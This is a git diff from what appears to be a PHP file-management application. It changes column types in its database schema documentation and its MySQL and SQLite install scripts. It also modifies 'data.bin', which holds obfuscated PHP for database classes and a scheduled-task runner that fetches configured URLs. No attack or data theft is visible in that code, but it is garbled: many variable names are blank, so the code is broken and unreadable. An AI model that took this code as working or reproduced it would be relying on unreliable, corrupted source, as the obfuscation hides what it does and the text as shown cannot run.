diff --git a/app/controller/install/data/help.md b/app/controller/install/data/help.md index 0965581f..7c2745c2 100755 --- a/app/controller/install/data/help.md +++ b/app/controller/install/data/help.md @@ -10,7 +10,7 @@ | userID | bigint(20) unsigned | 评论用户id | | targetType | smallint(5) unsigned | 评论对象类型1分享2文件3文章4...... | | targetID | bigint(20) unsigned | 评论对象id | -| content | longtext | 评论内容 | +| content | text | 评论内容 | | praiseCount | int(11) unsigned | 点赞统计 | | commentCount | int(11) unsigned | 评论统计 | | status | tinyint(3) unsigned | 状态 1正常 2异常 3其他 | @@ -24,7 +24,7 @@ | id | bigint(20) unsigned `自动增量` | | commentID | bigint(20) unsigned | 评论id | | key | varchar(255) | 字段key | -| value | mediumtext | 字段值 | +| value | text | 字段值 | | createTime | int(11) unsigned | 创建时间 | | modifyTime | int(11) unsigned | 最后修改 | @@ -60,7 +60,7 @@ | id | bigint(20) unsigned `自动增量` | 自增id | | groupID | bigint(20) unsigned | 部门id | | key | varchar(255) | 存储key | -| value | longtext | 对应值 | +| value | text | 对应值 | | createTime | int(11) unsigned | 创建时间 | | modifyTime | int(11) unsigned | 最后修改时间 | @@ -84,7 +84,7 @@ | 字段 | 类型 | 字段说明 | | ---- | ---- | ---- | | fileID | bigint(20) unsigned `自动增量` | 文件ID | -| content | longtext | 文本文件内容,最大16M | +| content | mediumtext | 文本文件内容,最大16M | | createTime | int(11) unsigned | 创建时间 | @@ -94,7 +94,7 @@ | id | bigint(20) unsigned `自动增量` | 自增id | | fileID | bigint(20) unsigned | 文件id | | key | varchar(255) | 存储key | -| value | longtext | 对应值 | +| value | text | 对应值 | | createTime | int(11) unsigned | 创建时间 | | modifyTime | int(11) unsigned | 最后修改时间 | @@ -142,7 +142,7 @@ | sourceParent | bigint(20) unsigned | 文档父文件夹id | | userID | bigint(20) unsigned | 操作者id | | type | varchar(255) | 事件类型 | -| desc | longtext | 数据详情,根据type内容意义不同 | +| desc | text | 数据详情,根据type内容意义不同 | | createTime | int(11) unsigned | 创建时间 | @@ -165,7 +165,7 @@ | id | bigint(20) unsigned `自动增量` | 自增id | | sourceID | bigint(20) unsigned | 文档id | | key | varchar(255) | 存储key | -| value | longtext | 对应值 | +| value | text | 对应值 | | createTime | int(11) unsigned | 创建时间 | | modifyTime | int(11) unsigned | 最后修改时间 | @@ -213,7 +213,7 @@ | fileID | bigint(20) unsigned | 举报文件id,文件夹则该处为0 | | userID | bigint(20) unsigned | 举报用户id | | type | tinyint(3) unsigned | 举报类型 (1-侵权,2-色情,3-暴力,4-政治,5-其他) | -| desc | longtext | 举报原因(其他)描述 | +| desc | text | 举报原因(其他)描述 | | status | tinyint(3) unsigned | 处理状态(0-未处理,1-已处理,2-禁止分享) | | createTime | int(11) unsigned | 创建时间 | | modifyTime | int(11) unsigned | 最后修改时间 | @@ -239,7 +239,7 @@ | sessionID | varchar(128) | session识别码,用于登陆时记录ip,UA等信息 | | userID | bigint(20) unsigned | 用户id | | type | varchar(255) | 日志类型 | -| desc | longtext | 详情 | +| desc | text | 详情 | | createTime | int(11) unsigned | 创建时间 | @@ -249,7 +249,7 @@ | id | int(11) unsigned `自动增量` | | type | varchar(50) | 配置类型 | | key | varchar(255) | -| value | longtext | +| value | text | | createTime | int(11) unsigned | 创建时间 | | modifyTime | int(11) unsigned | 最后更新时间 | @@ -260,7 +260,7 @@ | id | int(10) unsigned `自动增量` | | sign | varchar(128) | session标识 | | userID | bigint(20) unsigned | 用户id | -| content | longtext | value | +| content | text | value | | expires | int(10) unsigned | 过期时间 | | modifyTime | int(10) unsigned | 修改时间 | | createTime | int(10) unsigned | 创建时间 | @@ -318,7 +318,7 @@ | id | bigint(20) unsigned `自动增量` | 自增id | | userID | bigint(20) unsigned | 用户id | | key | varchar(255) | 存储key | -| value | longtext | 对应值 | +| value | text | 对应值 | | createTime | int(11) unsigned | 创建时间 | | modifyTime | int(11) unsigned | 最后修改时间 | @@ -330,7 +330,7 @@ | userID | bigint(20) unsigned | 用户id | | type | varchar(50) | 配置类型,全局配置类型为空,编辑器配置type=editor | | key | varchar(255) | 配置key | -| value | longtext | 配置值 | +| value | text | 配置值 | | createTime | int(11) unsigned | 创建时间 | | modifyTime | int(11) unsigned | 最后修改时间 | diff --git a/app/controller/install/data/mysql.sql b/app/controller/install/data/mysql.sql index e9fac87a..e6d68a32 100755 --- a/app/controller/install/data/mysql.sql +++ b/app/controller/install/data/mysql.sql @@ -8,7 +8,7 @@ CREATE TABLE `comment` ( `userID` bigint(20) unsigned NOT NULL COMMENT '评论用户id', `targetType` smallint(5) unsigned NOT NULL COMMENT '评论对象类型1分享2文件3文章4......', `targetID` bigint(20) unsigned NOT NULL COMMENT '评论对象id', - `content` longtext NOT NULL COMMENT '评论内容', + `content` text NOT NULL COMMENT '评论内容', `praiseCount` int(11) unsigned NOT NULL COMMENT '点赞统计', `commentCount` int(11) unsigned NOT NULL COMMENT '评论统计', `status` tinyint(3) unsigned NOT NULL COMMENT '状态 1正常 2异常 3其他', @@ -30,7 +30,7 @@ CREATE TABLE `comment_meta` ( `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `commentID` bigint(20) unsigned NOT NULL COMMENT '评论id', `key` varchar(255) NOT NULL COMMENT '字段key', - `value` mediumtext NOT NULL COMMENT '字段值', + `value` text NOT NULL COMMENT '字段值', `createTime` int(11) unsigned NOT NULL COMMENT '创建时间', `modifyTime` int(11) unsigned NOT NULL COMMENT '最后修改', PRIMARY KEY (`id`), @@ -80,7 +80,7 @@ CREATE TABLE `group_meta` ( `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT '自增id', `groupID` bigint(20) unsigned NOT NULL COMMENT '部门id', `key` varchar(255) NOT NULL COMMENT '存储key', - `value` longtext NOT NULL COMMENT '对应值', + `value` text NOT NULL COMMENT '对应值', `createTime` int(11) unsigned NOT NULL COMMENT '创建时间', `modifyTime` int(11) unsigned NOT NULL COMMENT '最后修改时间', PRIMARY KEY (`id`), @@ -115,7 +115,7 @@ CREATE TABLE `io_file` ( DROP TABLE IF EXISTS `io_file_contents`; CREATE TABLE `io_file_contents` ( `fileID` bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT '文件ID', - `content` longtext NOT NULL COMMENT '文本文件内容,最大16M', + `content` mediumtext NOT NULL COMMENT '文本文件内容,最大16M', `createTime` int(11) unsigned NOT NULL COMMENT '创建时间', PRIMARY KEY (`fileID`), KEY `createTime` (`createTime`), @@ -127,7 +127,7 @@ CREATE TABLE `io_file_meta` ( `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT '自增id', `fileID` bigint(20) unsigned NOT NULL COMMENT '文件id', `key` varchar(255) NOT NULL COMMENT '存储key', - `value` longtext NOT NULL COMMENT '对应值', + `value` text NOT NULL COMMENT '对应值', `createTime` int(11) unsigned NOT NULL COMMENT '创建时间', `modifyTime` int(11) unsigned NOT NULL COMMENT '最后修改时间', PRIMARY KEY (`id`), @@ -200,7 +200,7 @@ CREATE TABLE `io_source_event` ( `sourceParent` bigint(20) unsigned NOT NULL COMMENT '文档父文件夹id', `userID` bigint(20) unsigned NOT NULL COMMENT '操作者id', `type` varchar(255) NOT NULL COMMENT '事件类型', - `desc` longtext NOT NULL COMMENT '数据详情,根据type内容意义不同', + `desc` text NOT NULL COMMENT '数据详情,根据type内容意义不同', `createTime` int(11) unsigned NOT NULL COMMENT '创建时间', PRIMARY KEY (`id`), KEY `sourceID` (`sourceID`), @@ -232,7 +232,7 @@ CREATE TABLE `io_source_meta` ( `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT '自增id', `sourceID` bigint(20) unsigned NOT NULL COMMENT '文档id', `key` varchar(255) NOT NULL COMMENT '存储key', - `value` longtext NOT NULL COMMENT '对应值', + `value` text NOT NULL COMMENT '对应值', `createTime` int(11) unsigned NOT NULL COMMENT '创建时间', `modifyTime` int(11) unsigned NOT NULL COMMENT '最后修改时间', PRIMARY KEY (`id`), @@ -300,7 +300,7 @@ CREATE TABLE `share_report` ( `fileID` bigint(20) unsigned NOT NULL COMMENT '举报文件id,文件夹则该处为0', `userID` bigint(20) unsigned NOT NULL COMMENT '举报用户id', `type` tinyint(3) unsigned NOT NULL COMMENT '举报类型 (1-侵权,2-色情,3-暴力,4-政治,5-其他)', - `desc` longtext NOT NULL COMMENT '举报原因(其他)描述', + `desc` text NOT NULL COMMENT '举报原因(其他)描述', `status` tinyint(3) unsigned NOT NULL COMMENT '处理状态(0-未处理,1-已处理,2-禁止分享)', `createTime` int(11) unsigned NOT NULL COMMENT '创建时间', `modifyTime` int(11) unsigned NOT NULL COMMENT '最后修改时间', @@ -338,7 +338,7 @@ CREATE TABLE `system_log` ( `sessionID` varchar(128) NOT NULL COMMENT 'session识别码,用于登陆时记录ip,UA等信息', `userID` bigint(20) unsigned NOT NULL COMMENT '用户id', `type` varchar(255) NOT NULL COMMENT '日志类型', - `desc` longtext NOT NULL COMMENT '详情', + `desc` text NOT NULL COMMENT '详情', `createTime` int(11) unsigned NOT NULL COMMENT '创建时间', PRIMARY KEY (`id`), KEY `userID` (`userID`), @@ -352,7 +352,7 @@ CREATE TABLE `system_option` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT, `type` varchar(50) NOT NULL COMMENT '配置类型', `key` varchar(255) NOT NULL, - `value` longtext NOT NULL, + `value` text NOT NULL, `createTime` int(11) unsigned NOT NULL COMMENT '创建时间', `modifyTime` int(11) unsigned NOT NULL COMMENT '最后更新时间', PRIMARY KEY (`id`), @@ -367,7 +367,7 @@ CREATE TABLE `system_session` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `sign` varchar(128) NOT NULL COMMENT 'session标识', `userID` bigint(20) unsigned NOT NULL COMMENT '用户id', - `content` longtext NOT NULL COMMENT 'value', + `content` text NOT NULL COMMENT 'value', `expires` int(10) unsigned NOT NULL COMMENT '过期时间', `modifyTime` int(10) unsigned NOT NULL COMMENT '修改时间', `createTime` int(10) unsigned NOT NULL COMMENT '创建时间', @@ -450,7 +450,7 @@ CREATE TABLE `user_meta` ( `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT '自增id', `userID` bigint(20) unsigned NOT NULL COMMENT '用户id', `key` varchar(255) NOT NULL COMMENT '存储key', - `value` longtext NOT NULL COMMENT '对应值', + `value` text NOT NULL COMMENT '对应值', `createTime` int(11) unsigned NOT NULL COMMENT '创建时间', `modifyTime` int(11) unsigned NOT NULL COMMENT '最后修改时间', PRIMARY KEY (`id`), @@ -465,7 +465,7 @@ CREATE TABLE `user_option` ( `userID` bigint(20) unsigned NOT NULL COMMENT '用户id', `type` varchar(50) NOT NULL COMMENT '配置类型,全局配置类型为空,编辑器配置type=editor', `key` varchar(255) NOT NULL COMMENT '配置key', - `value` longtext NOT NULL COMMENT '配置值', + `value` text NOT NULL COMMENT '配置值', `createTime` int(11) unsigned NOT NULL COMMENT '创建时间', `modifyTime` int(11) unsigned NOT NULL COMMENT '最后修改时间', PRIMARY KEY (`id`), diff --git a/app/controller/install/data/sqlite.sql b/app/controller/install/data/sqlite.sql index 91f2fb1c..bdfb11f5 100755 --- a/app/controller/install/data/sqlite.sql +++ b/app/controller/install/data/sqlite.sql @@ -11,7 +11,7 @@ CREATE TABLE "comment" ( "userID" integer NOT NULL, "targetType" smallint NOT NULL, "targetID" integer NOT NULL, - "content" longtext NOT NULL, + "content" text NOT NULL, "praiseCount" integer NOT NULL, "commentCount" integer NOT NULL, "status" smallint NOT NULL, @@ -34,7 +34,7 @@ CREATE TABLE "comment_meta" ( "id" integer NOT NULL PRIMARY KEY AUTOINCREMENT, "commentID" integer NOT NULL, "key" varchar(255) NOT NULL, - "value" mediumtext NOT NULL, + "value" text NOT NULL, "createTime" integer NOT NULL, "modifyTime" integer NOT NULL ); @@ -87,7 +87,7 @@ CREATE TABLE "group_meta" ( "id" integer NOT NULL PRIMARY KEY AUTOINCREMENT, "groupID" integer NOT NULL, "key" varchar(255) NOT NULL, - "value" longtext NOT NULL, + "value" text NOT NULL, "createTime" integer NOT NULL, "modifyTime" integer NOT NULL ); @@ -124,7 +124,7 @@ CREATE INDEX 'idx_io_file_hashMd5' ON 'io_file' ("hashMd5"); DROP TABLE IF EXISTS "io_file_contents"; CREATE TABLE "io_file_contents" ( "fileID" integer NOT NULL PRIMARY KEY AUTOINCREMENT, - "content" longtext NOT NULL, + "content" mediumtext NOT NULL, "createTime" integer NOT NULL ); -- index io_file_contents: @@ -137,7 +137,7 @@ CREATE TABLE "io_file_meta" ( "id" integer NOT NULL PRIMARY KEY AUTOINCREMENT, "fileID" integer NOT NULL, "key" varchar(255) NOT NULL, - "value" longtext NOT NULL, + "value" text NOT NULL, "createTime" integer NOT NULL, "modifyTime" integer NOT NULL ); @@ -213,7 +213,7 @@ CREATE TABLE "io_source_event" ( "sourceParent" integer NOT NULL, "userID" integer NOT NULL, "type" varchar(255) NOT NULL, - "desc" longtext NOT NULL, + "desc" text NOT NULL, "createTime" integer NOT NULL ); -- index io_source_event: @@ -247,7 +247,7 @@ CREATE TABLE "io_source_meta" ( "id" integer NOT NULL PRIMARY KEY AUTOINCREMENT, "sourceID" integer NOT NULL, "key" varchar(255) NOT NULL, - "value" longtext NOT NULL, + "value" text NOT NULL, "createTime" integer NOT NULL, "modifyTime" integer NOT NULL ); @@ -318,7 +318,7 @@ CREATE TABLE "share_report" ( "fileID" integer NOT NULL, "userID" integer NOT NULL, "type" smallint NOT NULL, - "desc" longtext NOT NULL, + "desc" text NOT NULL, "status" smallint NOT NULL, "createTime" integer NOT NULL, "modifyTime" integer NOT NULL @@ -358,7 +358,7 @@ CREATE TABLE "system_log" ( "sessionID" varchar(128) NOT NULL, "userID" integer NOT NULL, "type" varchar(255) NOT NULL, - "desc" longtext NOT NULL, + "desc" text NOT NULL, "createTime" integer NOT NULL ); -- index system_log: @@ -373,7 +373,7 @@ CREATE TABLE "system_option" ( "id" integer NOT NULL PRIMARY KEY AUTOINCREMENT, "type" varchar(50) NOT NULL, "key" varchar(255) NOT NULL, - "value" longtext NOT NULL, + "value" text NOT NULL, "createTime" integer NOT NULL, "modifyTime" integer NOT NULL ); @@ -389,7 +389,7 @@ CREATE TABLE "system_session" ( "id" integer NOT NULL PRIMARY KEY AUTOINCREMENT, "sign" varchar(128) NOT NULL, "userID" integer NOT NULL, - "content" longtext NOT NULL, + "content" text NOT NULL, "expires" integer NOT NULL, "modifyTime" integer NOT NULL, "createTime" integer NOT NULL @@ -476,7 +476,7 @@ CREATE TABLE "user_meta" ( "id" integer NOT NULL PRIMARY KEY AUTOINCREMENT, "userID" integer NOT NULL, "key" varchar(255) NOT NULL, - "value" longtext NOT NULL, + "value" text NOT NULL, "createTime" integer NOT NULL, "modifyTime" integer NOT NULL ); @@ -492,7 +492,7 @@ CREATE TABLE "user_option" ( "userID" integer NOT NULL, "type" varchar(50) NOT NULL, "key" varchar(255) NOT NULL, - "value" longtext NOT NULL, + "value" text NOT NULL, "createTime" integer NOT NULL, "modifyTime" integer NOT NULL ); diff --git a/app/sdks/archiveLib/bin/data.bin b/app/sdks/archiveLib/bin/data.bin index 536bc6d0..52477c42 100755 --- a/app/sdks/archiveLib/bin/data.bin +++ b/app/sdks/archiveLib/bin/data.bin @@ -1,2 +1,2 @@ config =& $config; $this->in =& $in; $this->values[$ު[6]] =& $config; $this->values[$ު[7]] =& $in; $this->tpl = TEMPLATE . MOD . $ު[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($) { if (1 === func_num_args()) { $this->{$} = new $(); } else { $㰒 = new ReflectionClass($); $ = func_get_args(); array_shift($); $this->{$} = $㰒->newInstanceArgs($); } return $this->{$}; } public function routeBind($蟼, $ϡ, $㧬պ = 3) { $ =& $_SERVER[ʇ]; $ = $this->in[$[9]]; $蟼 = str_replace($[10], $[11], trim(trim($蟼, $[8]), $[12])); if (!$蟼 || count($) <= $㧬պ) { return !1; } $ = !0; $ʍ = explode($[8], $蟼); for ($ = 0; $ < count($ʍ); $++) { if ($ʍ[$] != $[$㧬պ + $]) { $ = !1; break; } } if (!$) { return; } call_user_func_array(array($this, $ϡ), array()); } public function routeArgs($ = 3) { $ = $this->in[$_SERVER[ʇ][9]]; if (count($) <= $) { return array(); } $ = array(); for ($ = $; $ < count($); $ += 2) { $[$[$]] = $[$ + 1]; $this->in[$[$]] = $[$ + 1]; } return $; } protected function assign($ڬ, $) { $this->values[$ڬ] = $; } protected function display($) { ob_end_clean(); extract($this->values); require $this->tpl . $; } } class DbSqliteBase extends Db { public function __construct($ڲ = '') { $ =& $_SERVER[ʇ]; if (!extension_loaded($[13])) { think_exception(think_lang($[14]) . $[15]); } if (!empty($ڲ)) { if (!isset($ڲ[$[16]])) { $ڲ[$[16]] = 438; } $this->config = $ڲ; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ = '', $ = 0) { $賘 =& $_SERVER[ʇ]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $® = !empty($[$賘[17]][$賘[18]]) ? $[$賘[17]][$賘[18]] : $this->pconnect; $߄ = $® ? $賘[19] : $賘[20]; $this->linkID[$] = $߄($[$賘[21]], $[$賘[16]]); if (!$this->linkID[$]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$], 30000); if (1 != think_config($賘[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($ï) { $̠չ =& $_SERVER[ʇ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ï; if ($this->queryID) { $this->free(); } think_action_status($̠չ[23], 1); think_status($̠չ[24]); $this->queryID = sqlite_query($this->_linkID, $ï); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ = $this->getAll(); return $; } } public function execute($α) { $ü쎄 =& $_SERVER[ʇ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $α; if ($this->queryID) { $this->free(); } think_action_status($ü쎄[25], 1); think_status($ü쎄[24]); $˳ = sqlite_exec($this->_linkID, $α); $this->debug(); if (!1 === $˳) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[ʇ][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $璥 = sqlite_query($this->_linkID, $_SERVER[ʇ][27]); if (!$璥) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ݒ̆ = sqlite_query($this->_linkID, $_SERVER[ʇ][28]); if (!$ݒ̆) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $꜁ = array(); if ($this->numRows > 0) { for ($畝֫ = 0; $畝֫ < $this->numRows; $畝֫++) { $꜁[$畝֫] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $꜁; } public function getFields($镏з) { $ =& $_SERVER[ʇ]; $ڱ = $this->query($[29] . $镏з . $[30]); $嫓 = array(); if ($ڱ) { foreach ($ڱ as $ => $ޘ) { $嫓[$ޘ[$[31]]] = array($[32] => $ޘ[$[31]], $[33] => $ޘ[$[34]], $[35] => (bool) ($ޘ[$[36]] === $[12]), $[37] => $ޘ[$[38]], $[39] => strtolower($ޘ[$[40]]) == $[41], $[42] => strtolower($ޘ[$[43]]) == $[44]); } } return $嫓; } public function getTables($ = '') { $ט =& $_SERVER[ʇ]; $ö = $this->query($ט[45] . $ט[46] . $ט[47]); $ߪ = array(); foreach ($ö as $· => $) { $ߪ[$·] = current($); } return $ߪ; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $ݶ =& $_SERVER[ʇ]; $ = sqlite_last_error($this->_linkID); $this->error = $ . $ݶ[4] . sqlite_error_string($); if ($ݶ[12] != $this->queryStr) { $this->error .= LNG($ݶ[48]) . $this->queryStr; } think_trace($this->error, $ݶ[12], $ݶ[49]); return $this->error; } public function escapeString($š) { return sqlite_escape_string($š); } public function parseLimit($ːݱ) { $鬣 =& $_SERVER[ʇ]; $ʡ = $鬣[12]; if (!empty($ːݱ)) { $ːݱ = explode($鬣[50], $ːݱ); if (count($ːݱ) > 1) { $ʡ .= $鬣[51] . $ːݱ[1] . $鬣[52] . $ːݱ[0] . $鬣[53]; } else { $ʡ .= $鬣[51] . $ːݱ[0] . $鬣[53]; } } return $ʡ; } } class DbSqlite3Base extends Db { public function __construct($ɑ = '') { $ᓍ =& $_SERVER[ʇ]; if (!class_exists($ᓍ[54])) { think_exception(think_lang($ᓍ[14]) . $ᓍ[55]); } if (!empty($ɑ)) { if (!isset($ɑ[$ᓍ[16]])) { $ɑ[$ᓍ[16]] = 438; } $this->config = $ɑ; if (empty($this->config[$ᓍ[17]])) { $this->config[$ᓍ[17]] = array(); } } } public function connect($ = '', $ = 0) { $ =& $_SERVER[ʇ]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $this->linkID[$] = new SQLite3($[$[21]]); if (!$this->linkID[$]) { think_exception($this->linkID[$]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$]->busyTimeout(30000); if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($뤘ܰ) { $Œ =& $_SERVER[ʇ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $뤘ܰ; if ($this->queryID) { $this->free(); } think_action_status($Œ[23], 1); think_status($Œ[24]); $this->queryID = $this->_linkID->query($뤘ܰ); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $ = $this->getAll(); $this->numRows = count($); return $; } } public function execute($荿) { $ =& $_SERVER[ʇ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $荿; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = $this->_linkID->exec($荿); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[ʇ][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[ʇ][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ބ = $this->_linkID->query($_SERVER[ʇ][28]); if (!$ބ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $Ӑ = array(); while ($ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $Ӑ[] = $; } $this->queryID->reset(); return $Ӑ; } public function getFields($) { $ =& $_SERVER[ʇ]; $窨 = $this->query($[29] . $ . $[30]); $ӡ = array(); if ($窨) { foreach ($窨 as $쒨̛ => $ҥʸ) { $ӡ[$ҥʸ[$[32]]] = array($[32] => $ҥʸ[$[32]], $[33] => $ҥʸ[$[33]], $[35] => (bool) ($ҥʸ[$[35]] === $[12]), $[37] => $ҥʸ[$[56]], $[39] => (bool) $ҥʸ[$[57]], $[42] => (bool) $ҥʸ[$[57]]); } } return $ӡ; } public function getTables($Ⱥ = '') { $ؽĎ =& $_SERVER[ʇ]; $纍Dz = $this->query($ؽĎ[45] . $ؽĎ[46] . $ؽĎ[47]); $ġ = array(); foreach ($纍Dz as $ => $) { $ġ[$] = current($); } return $ġ; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $Ɩ =& $_SERVER[ʇ]; $this->error = $this->_linkID->lastErrorMsg(); if ($Ɩ[12] != $this->queryStr) { $this->error .= LNG($Ɩ[48]) . $this->queryStr; } think_trace($this->error, $Ɩ[12], $Ɩ[49]); return $this->error; } public function escapeString($) { $ =& $_SERVER[ʇ]; if ($this->_linkID) { return $this->_linkID->escapeString($); } return str_ireplace($[58], $[59], $); } public function parseLimit($) { $ =& $_SERVER[ʇ]; $» = $[12]; if (!empty($)) { $ = explode($[50], $); if (count($) > 1) { $» .= $[51] . $[1] . $[52] . $[0] . $[53]; } else { $» .= $[51] . $[0] . $[53]; } } return $»; } } goto D夘; aύ: class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ɏ =& $_SERVER[ʇ]; if (self::valueGet($ɏ[789]) != $ɏ[90]) { return; } if (self::valueGet($ɏ[1651]) == $ɏ[90]) { $遲 = self::valueGet($ɏ[1652]); if (time() - $遲 > self::AUTO_RESTART_TIME) { self::restart(); } return; } self::clearUserStatus(); self::valueSet($ɏ[1651], $ɏ[90]); self::log($ɏ[1653] . ACTION . $ɏ[1654]); Hook::bind($ɏ[1655], $ɏ[1656]); $ꃊ = 0; while (!0) { self::cacheClear(); if (self::valueGet($ɏ[789]) != $ɏ[90]) { self::valueSet($ɏ[1651], $ɏ[214]); self::log($ɏ[1657]); die; } $ = time(); if ($ - $ꃊ >= 60) { self::valueSet(array($ɏ[1651] => $ɏ[90], $ɏ[1652] => $)); $ꃊ = $; } if (!file_exists(USER_SYSTEM . $ɏ[1658])) { self::valueSet(array($ɏ[1651] => $ɏ[214], $ɏ[789] => $ɏ[214])); self::log($ɏ[1659]); die; } $ = file_get_contents(BASIC_PATH . $ɏ[1660]); $Ѭ = KOD_VERSION . $ɏ[10] . KOD_VERSION_BUILD; $ = match_text($, $ɏ[1661]) . $ɏ[10] . match_text($, $ɏ[1662]); if ($ != $Ѭ) { self::restart(); self::log("\163\x74\157\x70\x65\x64\56\x5b\x76\145\x72\x73\151\x6f\156\x20\x75\x70\x64\x61\x74\x65\x3b{$versionNow}\x20\x3d\76\x20{$version}\135"); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function clearUserStatus() { $򦴨 =& $_SERVER[ʇ]; http_close(); $GLOBALS[$򦴨[1663]] = 1; $_SERVER[$򦴨[1664]] = $򦴨[1665]; $_COOKIE = array(); $GLOBALS[$򦴨[1666]] = 1; $GLOBALS[$򦴨[1667]] = 1; Session::$sessionSign = guid(); Session::$data = array(); } public static function restart() { $ȹ =& $_SERVER[ʇ]; http_close(); self::valueSet($ȹ[789], $ȹ[214]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($ȹ[1651] => $ȹ[214], $ȹ[789] => $ȹ[90])); self::log($ȹ[1668]); } public static function taskSwitch() { $ڂ =& $_SERVER[ʇ]; $ = self::valueGet($ڂ[789]) == $ڂ[90] ? $ڂ[214] : $ڂ[90]; self::valueSet($ڂ[789], $); } public static function shutdownEvent() { $ꃶ =& $_SERVER[ʇ]; self::valueSet($ꃶ[1651], $ꃶ[214]); self::log($ꃶ[1669]); } public static function config($, $ر) { self::valueSet($_SERVER[ʇ][789], $); } private static function taskRunAll() { $ƍҜ =& $_SERVER[ʇ]; $š = timeFloat(); $ = Model($ƍҜ[1670])->listData(); $ = count($); for ($ = 0; $ < $; $++) { $ = $[$]; if (!$[$ƍҜ[445]] || $[$ƍҜ[1671]] != $ƍҜ[90]) { continue; } if (!self::taskTimeCheck($)) { continue; } self::taskRun($); } Hook::trigger($ƍҜ[1672]); self::taskQueueRun($š); } private static function taskQueueRun($) { $ޤ = 10; while (!0) { $ = TaskQueue::run(); if ($ === !1) { break; } if (timeFloat() - $ >= $ޤ) { break; } } } private static function taskTimeCheck($⦐) { $֎ =& $_SERVER[ʇ]; $պ = json_decode($⦐[$֎[196]], !0); $ = intval($⦐[$֎[1652]]); $Ԡ = strtotime($֎[1673] . $պ[$֎[1674]] . $֎[1675]) - strtotime($֎[1676]); $ȸ = time() - strtotime(date($֎[1677]) . $֎[1678]); $š = $ȸ >= $Ԡ && $ȸ <= $Ԡ + 3600; switch ($պ[$֎[33]]) { case $֎[1679]: if (time() - $ < 3600 * 24 * 30) { return !1; } if ($պ[$֎[1679]] == date($֎[1680]) && $š) { return !0; } break; case $֎[1681]: if (time() - $ < 3600 * 24 * 7) { return !1; } $䌕 = date($֎[1682]) == 0 ? 7 : date($֎[1682]); if ($պ[$֎[1681]] == $䌕 && $š) { return !0; } break; case $֎[1674]: if (time() - $ < 3600 * 24) { return !1; } if ($š) { return !0; } break; case $֎[1683]: if (time() - $ >= floatval($պ[$֎[1683]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $к =& $_SERVER[ʇ]; static $ޛ = 0; $멣 = 300; if (!$ޛ) { $ޛ = time(); } if (time() - $ޛ < $멣) { return; } $ޛ = time(); $睛 = Model($к[548])->db($к[12]); if ($睛) { $睛->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($к[1684], $к[1685]); die; } } public static function taskRun($員) { $ =& $_SERVER[ʇ]; self::log($[1686] . $員[$[445]] . $[1687] . $員[$[32]] . $[1688] . $員[$[1689]]); Model($[1670])->run($員[$[445]]); $ȅ = timeFloat(); $ = $[12]; switch ($員[$[33]]) { case $[353]: $ = url_request($員[$[1689]], $[247], !1, !1, !1, !1, 10); if ($[$[789]]) { $ = strlen($[$[1249]]); } break; case $[246]: $ = Hook::apply($員[$[1689]]); default: break; } Model($[1690])->add(array($[1691] => $[12], $[1692] => $[214], $[33] => $[1693] . $員[$[445]], $[1694] => json_encode(array($[32] => $員[$[32]], $[1695] => timeFloat() - $ȅ, $[339] => $)))); $͹ = $ ? $[1696] . $ : $[12]; self::log($[1697] . $員[$[445]] . $[167] . $͹); return !0; } public static function valueGet($) { $˨ =& $_SERVER[ʇ]; $ = $˨[1698]; 